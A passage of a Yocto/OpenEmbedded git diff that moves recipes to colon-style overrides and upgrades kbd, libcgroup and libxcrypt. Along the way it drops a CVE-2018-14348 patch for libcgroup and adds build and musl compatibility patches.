-RRECOMMENDS_${PN} = "${PN}-functions"
-RPROVIDES_${PN}-functions = "initd-functions"
-RCONFLICTS_${PN}-functions = "lsbinitscripts"
-FILES_${PN}-functions = "${sysconfdir}/init.d/functions*"
-FILES_${PN}-sushell = "${base_sbindir}/sushell"
+RRECOMMENDS:${PN} = "${PN}-functions"
+RPROVIDES:${PN}-functions = "initd-functions"
+RCONFLICTS:${PN}-functions = "lsbinitscripts"
+FILES:${PN}-functions = "${sysconfdir}/init.d/functions*"
+FILES:${PN}-sushell = "${base_sbindir}/sushell"
HALTARGS ?= "-d -f"
@@ -106,7 +106,8 @@ do_install () {
install -m 0755 ${WORKDIR}/save-rtc.sh ${D}${sysconfdir}/init.d
install -m 0644 ${WORKDIR}/volatiles ${D}${sysconfdir}/default/volatiles/00_core
if [ ${@ oe.types.boolean('${VOLATILE_LOG_DIR}') } = True ]; then
- echo "l root root 0755 /var/log /var/volatile/log" >> ${D}${sysconfdir}/default/volatiles/00_core
+ sed -i -e '\@^d root root 0755 /var/volatile/log none$@ a\l root root 0755 /var/log /var/volatile/log' \
+ ${D}${sysconfdir}/default/volatiles/00_core
fi
install -m 0755 ${WORKDIR}/dmesg.sh ${D}${sysconfdir}/init.d
install -m 0644 ${WORKDIR}/logrotate-dmesg.conf ${D}${sysconfdir}/
@@ -136,7 +137,7 @@ do_install () {
update-rc.d -r ${D} halt start 90 0 .
update-rc.d -r ${D} save-rtc.sh start 25 0 6 .
update-rc.d -r ${D} banner.sh start 02 S .
- update-rc.d -r ${D} checkroot.sh start 06 S .
+ update-rc.d -r ${D} checkroot.sh start 05 S .
update-rc.d -r ${D} mountall.sh start 03 S .
update-rc.d -r ${D} hostname.sh start 39 S .
update-rc.d -r ${D} mountnfs.sh start 15 2 3 4 5 .
@@ -169,7 +170,7 @@ MASKED_SCRIPTS = " \
sysfs \
urandom"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
if type systemctl >/dev/null 2>/dev/null; then
if [ -n "$D" ]; then
OPTS="--root=$D"
@@ -185,4 +186,4 @@ pkg_postinst_${PN} () {
fi
}
-CONFFILES_${PN} += "${sysconfdir}/init.d/checkroot.sh"
+CONFFILES:${PN} += "${sysconfdir}/init.d/checkroot.sh"
diff --git a/meta/recipes-core/kbd/kbd_2.3.0.bb b/meta/recipes-core/kbd/kbd_2.3.0.bb
deleted file mode 100644
index 529f49bef4..0000000000
--- a/meta/recipes-core/kbd/kbd_2.3.0.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Keytable files and keyboard utilities"
-HOMEPAGE = "http://www.kbd-project.org/"
-# everything minus console-fonts is GPLv2+
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=892f569a555ba9c07a568a7c0c4fa63a"
-
-inherit autotools gettext pkgconfig
-
-DEPENDS += "flex-native"
-
-RREPLACES_${PN} = "console-tools"
-RPROVIDES_${PN} = "console-tools"
-RCONFLICTS_${PN} = "console-tools"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/${BP}.tar.xz \
- "
-
-SRC_URI[sha256sum] = "685056143cb8effd0a1d44b5c391eb50d80dcfd014b1a4d6e2650a28d61cb82a"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
- "
-
-PACKAGECONFIG[pam] = "--enable-vlock, --disable-vlock, libpam,"
-
-PACKAGES += "${PN}-consolefonts ${PN}-keymaps ${PN}-unimaps ${PN}-consoletrans"
-
-FILES_${PN}-consolefonts = "${datadir}/consolefonts"
-FILES_${PN}-consoletrans = "${datadir}/consoletrans"
-FILES_${PN}-keymaps = "${datadir}/keymaps"
-FILES_${PN}-unimaps = "${datadir}/unimaps"
-
-inherit update-alternatives
-
-ALTERNATIVE_${PN} = "chvt deallocvt fgconsole openvt showkey \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'vlock','', d)}"
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/kbd/kbd_2.4.0.bb b/meta/recipes-core/kbd/kbd_2.4.0.bb
new file mode 100644
index 0000000000..7cb45eff77
--- /dev/null
+++ b/meta/recipes-core/kbd/kbd_2.4.0.bb
@@ -0,0 +1,46 @@
+SUMMARY = "Keytable files and keyboard utilities"
+HOMEPAGE = "http://www.kbd-project.org/"
+DESCRIPTION = "The kbd project contains tools for managing Linux console (Linux console, virtual terminals, keyboard, etc.) – mainly, what they do is loading console fonts and keyboard maps."
+# everything minus console-fonts is GPLv2+
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=892f569a555ba9c07a568a7c0c4fa63a"
+
+inherit autotools gettext pkgconfig
+
+DEPENDS += "flex-native"
+
+RREPLACES:${PN} = "console-tools"
+RPROVIDES:${PN} = "console-tools"
+RCONFLICTS:${PN} = "console-tools"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/${BP}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "55f0740458cfd3a84e775e50d7e8b92dc01846db1edad8e2411ccc293ece9b9f"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
+ "
+
+PACKAGECONFIG[pam] = "--enable-vlock, --disable-vlock, libpam,"
+
+PACKAGES += "${PN}-consolefonts ${PN}-keymaps ${PN}-unimaps ${PN}-consoletrans"
+
+FILES:${PN}-consolefonts = "${datadir}/consolefonts"
+FILES:${PN}-consoletrans = "${datadir}/consoletrans"
+FILES:${PN}-keymaps = "${datadir}/keymaps"
+FILES:${PN}-unimaps = "${datadir}/unimaps"
+
+do_install:append () {
+ if [ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', '', d)} = yes ] \
+ && [ -f ${D}${sysconfdir}/pam.d/vlock ]; then
+ mv -f ${D}${sysconfdir}/pam.d/vlock ${D}${sysconfdir}/pam.d/vlock.kbd
+ fi
+}
+
+inherit update-alternatives
+
+ALTERNATIVE:${PN} = "chvt deallocvt fgconsole openvt showkey \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'vlock','', d)}"
+ALTERNATIVE_PRIORITY = "100"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch b/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch
deleted file mode 100644
index d133703dec..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 0d88b73d189ea3440ccaab00418d6469f76fa590 Mon Sep 17 00:00:00 2001
-From: Michal Hocko <mhocko@suse.com>
-Date: Wed, 18 Jul 2018 11:24:29 +0200
-Subject: [PATCH] cgrulesengd: remove umask(0)
-
-One of our partners has noticed that cgred daemon is creating a log file
-(/var/log/cgred) with too wide permissions (0666) and that is seen as
-a security bug because an untrusted user can write to otherwise
-restricted area. CVE-2018-14348 has been assigned to this issue.
-
-CVE: CVE-2018-14348
-Upstream-Status: Backport [https://sourceforge.net/p/libcg/libcg/ci/0d88b73d189ea3440ccaab00418d6469f76fa590]
-
-Signed-off-by: Michal Hocko <mhocko@suse.com>
-Acked-by: Balbir Singh <bsingharora@gmail.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- src/daemon/cgrulesengd.c | 3 ---
- 1 file changed, 3 deletions(-)
-
-diff --git a/src/daemon/cgrulesengd.c b/src/daemon/cgrulesengd.c
-index ea51f11..0d288f3 100644
---- a/src/daemon/cgrulesengd.c
-+++ b/src/daemon/cgrulesengd.c
-@@ -889,9 +889,6 @@ int cgre_start_daemon(const char *logp, const int logf,
- } else if (pid > 0) {
- exit(EXIT_SUCCESS);
- }
--
-- /* Change the file mode mask. */
-- umask(0);
- } else {
- flog(LOG_DEBUG, "Not using daemon mode\n");
- pid = getpid();
---
-2.13.3
-
diff --git a/meta/recipes-core/libcgroup/libcgroup/module.patch b/meta/recipes-core/libcgroup/libcgroup/module.patch
new file mode 100644
index 0000000000..d8ff9b1479
--- /dev/null
+++ b/meta/recipes-core/libcgroup/libcgroup/module.patch
@@ -0,0 +1,36 @@
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 76f0879056ce7e3f0123c277f2303954d0b6cead Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Tomasz=20K=C5=82oczko?= <kloczek@github.com>
+Date: Wed, 12 May 2021 20:36:02 +0000
+Subject: [PATCH 2/2] automake: build PAM module as unversioned DSO
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+PAM modules should be build as unversioned DSO.
+Add -avoid-version to pam_cgroup_la_LDFLAGS
+
+Signed-off-by: Tomasz Kłoczko <kloczek@github.com>
+Signed-off-by: Tom Hromatka <tom.hromatka@oracle.com>
+---
+ src/pam/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/pam/Makefile.am b/src/pam/Makefile.am
+index bd5a91d..4b0b2a9 100644
+--- a/src/pam/Makefile.am
++++ b/src/pam/Makefile.am
+@@ -4,7 +4,7 @@ if WITH_PAM
+
+ pamlib_LTLIBRARIES = pam_cgroup.la
+ pam_cgroup_la_SOURCES = pam_cgroup.c
+-pam_cgroup_la_LDFLAGS = -module
++pam_cgroup_la_LDFLAGS = -module -avoid-version
+ pam_cgroup_la_LIBADD = $(top_builddir)/src/libcgroup.la -lpam
+
+ endif
+--
+2.32.0
+
diff --git a/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch b/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch
index 65f4ef9a55..531a562967 100644
--- a/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch
+++ b/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch
@@ -1,16 +1,37 @@
-commit ca780b4f7f71abeeb04a585f2a4d889caaa985fa
-Author: Isaac Dunham <ibid.ag@gmail.com>
-Date: Fri Sep 5 22:35:32 2014 -0700
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
- Remove __.*DECLS nonsense
+From 26f2889113789c176273bd24fcd1592a8064c346 Mon Sep 17 00:00:00 2001
+From: "Anthony G. Basile" <blueness@gentoo.org>
+Date: Tue, 6 Jul 2021 07:54:47 -0600
+Subject: [PATCH 1/2] Replace __BEGIN_DECLS and __END_DECLS with extern "C".
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+The macros __BEGIN_DECLS and __END_DECLS are a GNU-ism found in
+glibc and uClibc, but not musl. We replace them by the more general
+extern "C" { ... } block exposed only if we have __cplusplus.
-Index: libcgroup-0.41/include/libcgroup/config.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/config.h
-+++ libcgroup-0.41/include/libcgroup/config.h
+Forward ported from a patch by Anthony G. Basile <blueness@gentoo.org>.
+
+Signed-off-by: Alex Xu (Hello71) <alex_y_xu@yahoo.ca>
+Signed-off-by: Tom Hromatka <tom.hromatka@oracle.com>
+---
+ include/libcgroup/config.h | 8 ++++++--
+ include/libcgroup/error.h | 8 ++++++--
+ include/libcgroup/groups.h | 8 ++++++--
+ include/libcgroup/init.h | 8 ++++++--
+ include/libcgroup/iterators.h | 8 ++++++--
+ include/libcgroup/log.h | 8 ++++++--
+ include/libcgroup/tasks.h | 8 ++++++--
+ src/bindings/libcgroup.p | 8 --------
+ src/daemon/cgrulesengd.h | 8 ++++++--
+ src/libcgroup-internal.h | 8 ++++++--
+ src/tools/tools-common.h | 8 ++++++--
+ 11 files changed, 60 insertions(+), 28 deletions(-)
+
+diff --git a/include/libcgroup/config.h b/include/libcgroup/config.h
+index 9aaa390..f835009 100644
+--- a/include/libcgroup/config.h
++++ b/include/libcgroup/config.h
@@ -9,7 +9,9 @@
#include <features.h>
#endif
@@ -22,20 +43,20 @@ Index: libcgroup-0.41/include/libcgroup/config.h
/**
* @defgroup group_config 5. Configuration
-@@ -107,6 +109,8 @@ int cgroup_config_create_template_group(
+@@ -128,6 +130,8 @@ int cgroup_config_create_template_group(
* @}
* @}
*/
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif /*_LIBCGROUP_CONFIG_H*/
-Index: libcgroup-0.41/include/libcgroup/error.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/error.h
-+++ libcgroup-0.41/include/libcgroup/error.h
+diff --git a/include/libcgroup/error.h b/include/libcgroup/error.h
+index 1dfdde9..14a6e16 100644
+--- a/include/libcgroup/error.h
++++ b/include/libcgroup/error.h
@@ -9,7 +9,9 @@
#include <features.h>
#endif
@@ -53,14 +74,14 @@ Index: libcgroup-0.41/include/libcgroup/error.h
*/
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif /* _LIBCGROUP_INIT_H */
-Index: libcgroup-0.41/include/libcgroup/groups.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/groups.h
-+++ libcgroup-0.41/include/libcgroup/groups.h
+diff --git a/include/libcgroup/groups.h b/include/libcgroup/groups.h
+index 201558f..39ec3cd 100644
+--- a/include/libcgroup/groups.h
++++ b/include/libcgroup/groups.h
@@ -11,7 +11,9 @@
#include <stdbool.h>
#endif
@@ -72,20 +93,20 @@ Index: libcgroup-0.41/include/libcgroup/groups.h
/**
* Flags for cgroup_delete_cgroup_ext().
-@@ -577,6 +579,8 @@ char *cgroup_get_cgroup_name(struct cgro
+@@ -587,6 +589,8 @@ char *cgroup_get_cgroup_name(struct cgroup *cgroup);
*/
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif /* _LIBCGROUP_GROUPS_H */
-Index: libcgroup-0.41/include/libcgroup/init.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/init.h
-+++ libcgroup-0.41/include/libcgroup/init.h
+diff --git a/include/libcgroup/init.h b/include/libcgroup/init.h
+index 5150f2f..ea2dcc9 100644
+--- a/include/libcgroup/init.h
++++ b/include/libcgroup/init.h
@@ -9,7 +9,9 @@
#include <features.h>
#endif
@@ -97,20 +118,20 @@ Index: libcgroup-0.41/include/libcgroup/init.h
/**
* @defgroup group_init 1. Initialization
-@@ -58,6 +60,8 @@ int cgroup_get_subsys_mount_point(const
+@@ -58,6 +60,8 @@ int cgroup_get_subsys_mount_point(const char *controller, char **mount_point);
* @}
* @}
*/
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif /* _LIBCGROUP_INIT_H */
-Index: libcgroup-0.41/include/libcgroup/iterators.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/iterators.h
-+++ libcgroup-0.41/include/libcgroup/iterators.h
+diff --git a/include/libcgroup/iterators.h b/include/libcgroup/iterators.h
+index c6d453d..b3ba3af 100644
+--- a/include/libcgroup/iterators.h
++++ b/include/libcgroup/iterators.h
@@ -11,7 +11,9 @@
#include <features.h>
#endif
@@ -122,20 +143,45 @@ Index: libcgroup-0.41/include/libcgroup/iterators.h
/**
* @defgroup group_iterators 3. Iterators
-@@ -423,6 +425,8 @@ int cgroup_get_subsys_mount_point_end(vo
+@@ -423,6 +425,8 @@ int cgroup_get_subsys_mount_point_end(void **handle);
* @}
*/
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif /* _LIBCGROUP_ITERATORS_H */
-Index: libcgroup-0.41/include/libcgroup/tasks.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/tasks.h
-+++ libcgroup-0.41/include/libcgroup/tasks.h
+diff --git a/include/libcgroup/log.h b/include/libcgroup/log.h
+index 0dd03b4..f693473 100644
+--- a/include/libcgroup/log.h
++++ b/include/libcgroup/log.h
+@@ -11,7 +11,9 @@
+
+ #include <stdarg.h>
+
+-__BEGIN_DECLS
++#ifdef __cplusplus
++extern "C" {
++#endif
+
+ /**
+ * @defgroup group_log 7. Logging
+@@ -142,6 +144,8 @@ extern int cgroup_parse_log_level_str(const char *levelstr);
+ * @}
+ * @}
+ */
+-__END_DECLS
++#ifdef __cplusplus
++} /* extern "C" */
++#endif
+
+ #endif /* _LIBCGROUP_LOG_H */
+diff --git a/include/libcgroup/tasks.h b/include/libcgroup/tasks.h
+index aad438a..8553c30 100644
+--- a/include/libcgroup/tasks.h
++++ b/include/libcgroup/tasks.h
@@ -12,7 +12,9 @@
#include <stdbool.h>
#endif
@@ -147,20 +193,20 @@ Index: libcgroup-0.41/include/libcgroup/tasks.h
/** Flags for cgroup_change_cgroup_uid_gid(). */
enum cgflags {
-@@ -204,6 +206,8 @@ int cgroup_register_unchanged_process(pi
+@@ -204,6 +206,8 @@ int cgroup_register_unchanged_process(pid_t pid, int flags);
* @}
* @}
*/
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif /* _LIBCGROUP_TASKS_H */
-Index: libcgroup-0.41/src/daemon/cgrulesengd.h
-===================================================================
---- libcgroup-0.41.orig/src/daemon/cgrulesengd.h
-+++ libcgroup-0.41/src/daemon/cgrulesengd.h
+diff --git a/src/daemon/cgrulesengd.h b/src/daemon/cgrulesengd.h
+index e273b4b..0b12076 100644
+--- a/src/daemon/cgrulesengd.h
++++ b/src/daemon/cgrulesengd.h
@@ -17,7 +17,9 @@
#include <features.h>
@@ -178,15 +224,15 @@ Index: libcgroup-0.41/src/daemon/cgrulesengd.h
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif /* _CGRULESENGD_H */
-Index: libcgroup-0.41/src/libcgroup-internal.h
-===================================================================
---- libcgroup-0.41.orig/src/libcgroup-internal.h
-+++ libcgroup-0.41/src/libcgroup-internal.h
+diff --git a/src/libcgroup-internal.h b/src/libcgroup-internal.h
+index 1dfc92b..edc5abb 100644
+--- a/src/libcgroup-internal.h
++++ b/src/libcgroup-internal.h
@@ -16,7 +16,9 @@
#define __LIBCG_INTERNAL
@@ -197,39 +243,42 @@ Index: libcgroup-0.41/src/libcgroup-internal.h
+#endif
#include "config.h"
- #include <fts.h>
-@@ -279,6 +281,8 @@ extern void cgroup_dictionary_iterator_e
- */
- int cg_chmod_path(const char *path, mode_t mode, int owner_is_umask);
+ #include <dirent.h>
+@@ -407,6 +409,8 @@ int cgroupv2_controller_enabled(const char * const cg_name,
+
+ #endif /* UNIT_TEST */
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
#endif
-Index: libcgroup-0.41/include/libcgroup/log.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/log.h
-+++ libcgroup-0.41/include/libcgroup/log.h
-@@ -11,7 +11,9 @@
+diff --git a/src/tools/tools-common.h b/src/tools/tools-common.h
+index 292c408..e3541b1 100644
+--- a/src/tools/tools-common.h
++++ b/src/tools/tools-common.h
+@@ -18,7 +18,9 @@
- #include <stdarg.h>
+ #define __TOOLS_COMMON
-__BEGIN_DECLS
+#ifdef __cplusplus
+extern "C" {
+#endif
+ #include "config.h"
+ #include <libcgroup.h>
+ #include "../libcgroup-internal.h"
+@@ -136,6 +138,8 @@ int parse_r_flag(const char * const program_name,
+
+ #endif /* UNIT_TEST */
- /**
- * @defgroup group_log 7. Logging
-@@ -142,6 +144,8 @@ extern int cgroup_parse_log_level_str(co
- * @}
- * @}
- */
-__END_DECLS
+#ifdef __cplusplus
-+}
++} /* extern "C" */
+#endif
- #endif /* _LIBCGROUP_LOG_H */
+ #endif /* TOOLS_COMMON */
+--
+2.32.0
+
diff --git a/meta/recipes-core/libcgroup/libcgroup_0.41.bb b/meta/recipes-core/libcgroup/libcgroup_0.41.bb
deleted file mode 100644
index 92d7261b0d..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup_0.41.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Linux control group abstraction library"
-HOMEPAGE = "http://libcg.sourceforge.net/"
-DESCRIPTION = "libcgroup is a library that abstracts the control group file system \
-in Linux. Control groups allow you to limit, account and isolate resource usage \
-(CPU, memory, disk I/O, etc.) of groups of processes."
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-inherit autotools pkgconfig
-
-DEPENDS = "bison-native flex-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/libcg/${BPN}/v0.41/${BPN}-${PV}.tar.bz2 \
- file://CVE-2018-14348.patch"
-SRC_URI_append_libc-musl = " file://musl-decls-compat.patch"
-
-SRC_URI[md5sum] = "3dea9d50b8a5b73ff0bf1cdcb210f63f"
-SRC_URI[sha256sum] = "e4e38bdc7ef70645ce33740ddcca051248d56b53283c0dc6d404e17706f6fb51"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libcg/files/libcgroup/"
-
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBS=-lfts"
-
-PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-PACKAGECONFIG[pam] = "--enable-pam-module-dir=${base_libdir}/security --enable-pam=yes,--enable-pam=no,libpam"
-
-PACKAGES =+ "cgroups-pam-plugin"
-FILES_cgroups-pam-plugin = "${base_libdir}/security/pam_cgroup.so*"
-FILES_${PN}-dev += "${base_libdir}/security/*.la"
-
-do_install_append() {
- # Moving libcgroup to base_libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mkdir -p ${D}/${base_libdir}/
- mv -f ${D}${libdir}/libcgroup.so.* ${D}${base_libdir}/
- rm -f ${D}${libdir}/libcgroup.so
- lnr ${D}${base_libdir}/libcgroup.so.1 ${D}${libdir}/libcgroup.so
- fi
- # pam modules in ${base_libdir}/security/ should be binary .so files, not symlinks.
- if [ -f ${D}${base_libdir}/security/pam_cgroup.so.0.0.0 ]; then
- mv -f ${D}${base_libdir}/security/pam_cgroup.so.0.0.0 ${D}${base_libdir}/security/pam_cgroup.so
- rm -f ${D}${base_libdir}/security/pam_cgroup.so.*
- fi
-}
diff --git a/meta/recipes-core/libcgroup/libcgroup_2.0.bb b/meta/recipes-core/libcgroup/libcgroup_2.0.bb
new file mode 100644
index 0000000000..a58dd88ea5
--- /dev/null
+++ b/meta/recipes-core/libcgroup/libcgroup_2.0.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Linux control group abstraction library"
+HOMEPAGE = "http://libcg.sourceforge.net/"
+DESCRIPTION = "libcgroup is a library that abstracts the control group file system \
+in Linux. Control groups allow you to limit, account and isolate resource usage \
+(CPU, memory, disk I/O, etc.) of groups of processes."
+SECTION = "libs"
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+inherit autotools pkgconfig
+
+DEPENDS = "bison-native flex-native"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.bz2 \
+ file://musl-decls-compat.patch \
+ file://module.patch"
+
+SRC_URI[sha256sum] = "11a2fbf0e42f46089f406b8b0dca7fef04aec2f21600b70e402c5db3661305d7"
+UPSTREAM_CHECK_URI = "https://github.com/libcgroup/libcgroup/releases/"
+
+DEPENDS:append:libc-musl = " fts "
+EXTRA_OEMAKE:append:libc-musl = " LIBS=-lfts"
+
+PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+PACKAGECONFIG[pam] = "--enable-pam-module-dir=${base_libdir}/security --enable-pam=yes,--enable-pam=no,libpam"
+
+PACKAGES =+ "cgroups-pam-plugin"
+FILES:cgroups-pam-plugin = "${base_libdir}/security/pam_cgroup.so*"
+FILES:${PN}-dev += "${base_libdir}/security/*.la"
+FILES:${PN}-staticdev += "${base_libdir}/security/pam_cgroup.a"
+
+do_install:append() {
+ # Until we ship the test suite, this library isn't useful
+ rm -f ${D}${libdir}/libcgroupfortesting.*
+}
diff --git a/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch b/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch
new file mode 100644
index 0000000000..0772998c72
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch
@@ -0,0 +1,33 @@
+From fd9a46695594c3cd836ecb7d959f03f605e69a2f Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Fri, 30 Apr 2021 10:35:02 +0100
+Subject: [PATCH] libxcrypt: Update to 4.4.19 release and fix symbol version
+
+If you pass CFLAGS with a leading space, " " gets passed to popen and convinces
+gcc to try and open a file called " ". This results in a confusing error message
+like:
+
+x86_64-pokysdk-linux-gcc: error: : No such file or directory
+
+Avoid this by stripping empty elements out of CFLAGS.
+
+Upstream-Status: Submitted [https://github.com/besser82/libxcrypt/pull/126]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ build-aux/compute-symver-floor | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/build-aux/compute-symver-floor b/build-aux/compute-symver-floor
+index 4ec82e1..8117342 100644
+--- a/build-aux/compute-symver-floor
++++ b/build-aux/compute-symver-floor
+@@ -36,6 +36,8 @@ sub preprocessor_check {
+ die "C compiler not available\n" unless @CC;
+
+ @CFLAGS = sh_split($ENV{CFLAGS} // q{});
++ # Remove empty elements, particularly leading ones which cause issues with popen below
++ @CFLAGS = grep {$_} @CFLAGS;
+
+ # Remove empty elements, particularly leading ones which
+ # cause issues with popen below.
diff --git a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.17.bb b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.17.bb
deleted file mode 100644
index ba74eb1f94..0000000000
--- a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.17.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# This provides libcrypto.so.1 which contains obsolete APIs, needed for uninative in particular
-#
-
-require libxcrypt.inc
-
-PROVIDES = ""
-AUTO_LIBNAME_PKGS = ""
-EXCLUDE_FROM_WORLD = "1"
-
-API = "--enable-obsolete-api"
-
-do_install_append () {
- rm -rf ${D}${includedir}
- rm -rf ${D}${libdir}/pkgconfig
- rm -rf ${D}${datadir}
-}
-
diff --git a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.26.bb b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.26.bb
new file mode 100644
index 0000000000..ec9f9f4fa3
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.26.bb
@@ -0,0 +1,18 @@
+#
+# This provides libcrypto.so.1 which contains obsolete APIs, needed for uninative in particular
+#
+
+require libxcrypt.inc
+
+PROVIDES = ""
+AUTO_LIBNAME_PKGS = ""
+EXCLUDE_FROM_WORLD = "1"
+
+API = "--enable-obsolete-api"
+
+do_install:append () {
+ rm -rf ${D}${includedir}
+ rm -rf ${D}${libdir}/pkgconfig
+ rm -rf ${D}${datadir}
+}
+
diff --git a/meta/recipes-core/libxcrypt/libxcrypt.inc b/meta/recipes-core/libxcrypt/libxcrypt.inc
index 104a2af4d2..9186c45e18 100644
--- a/meta/recipes-core/libxcrypt/libxcrypt.inc
+++ b/meta/recipes-core/libxcrypt/libxcrypt.inc
@@ -3,19 +3,21 @@ DESCRIPTION = "Forked code from glibc libary to extract only crypto part."
HOMEPAGE = "https://github.com/besser82/libxcrypt"
SECTION = "libs"
LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://LICENSING;md5=102923b6e1b02a85c5a1203fa87d151d \
+LIC_FILES_CHKSUM = "file://LICENSING;md5=29c5f9af198623cdce52a77f85695164 \
file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
"
inherit autotools pkgconfig
-SRC_URI = "git://github.com/besser82/libxcrypt.git;branch=${SRCBRANCH}"
-SRCREV = "6b110bcd4f4caa61fc39c7339d30adc20a7dd177"
+SRC_URI = "git://github.com/besser82/libxcrypt.git;branch=${SRCBRANCH};protocol=https"
+SRCREV = "8ff7a8c5019cbd50419f7d0a8cd691eb99d6b086"
SRCBRANCH ?= "develop"
+SRC_URI += "file://fix_cflags_handling.patch"
+
PROVIDES = "virtual/crypt"
-FILES_${PN} = "${libdir}/libcrypt*.so.* \
+FILES:${PN} = "${libdir}/libcrypt*.so.* \
${libdir}/libcrypt-*.so \
${libdir}/libowcrypt*.so.* \
${libdir}/libowcrypt-*.so \
@@ -25,7 +27,7 @@ S = "${WORKDIR}/git"
BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir} -Wno-error"
-CPPFLAGS_append_class-nativesdk = " -Wno-error"
+CPPFLAGS:append:class-nativesdk = " -Wno-error"
API = "--disable-obsolete-api"
EXTRA_OECONF += "${API}"
diff --git a/meta/recipes-core/libxcrypt/libxcrypt_4.4.17.bb b/meta/recipes-core/libxcrypt/libxcrypt_4.4.26.bb
index 79dba2f6dc..79dba2f6dc 100644
--- a/meta/recipes-core/libxcrypt/libxcrypt_4.4.17.bb
+++ b/meta/recipes-core/libxcrypt/libxcrypt_4.4.26.bb
diff --git a/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch b/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
index 5e9a0a506b..6d9ede6194 100644
--- a/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
+++ b/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
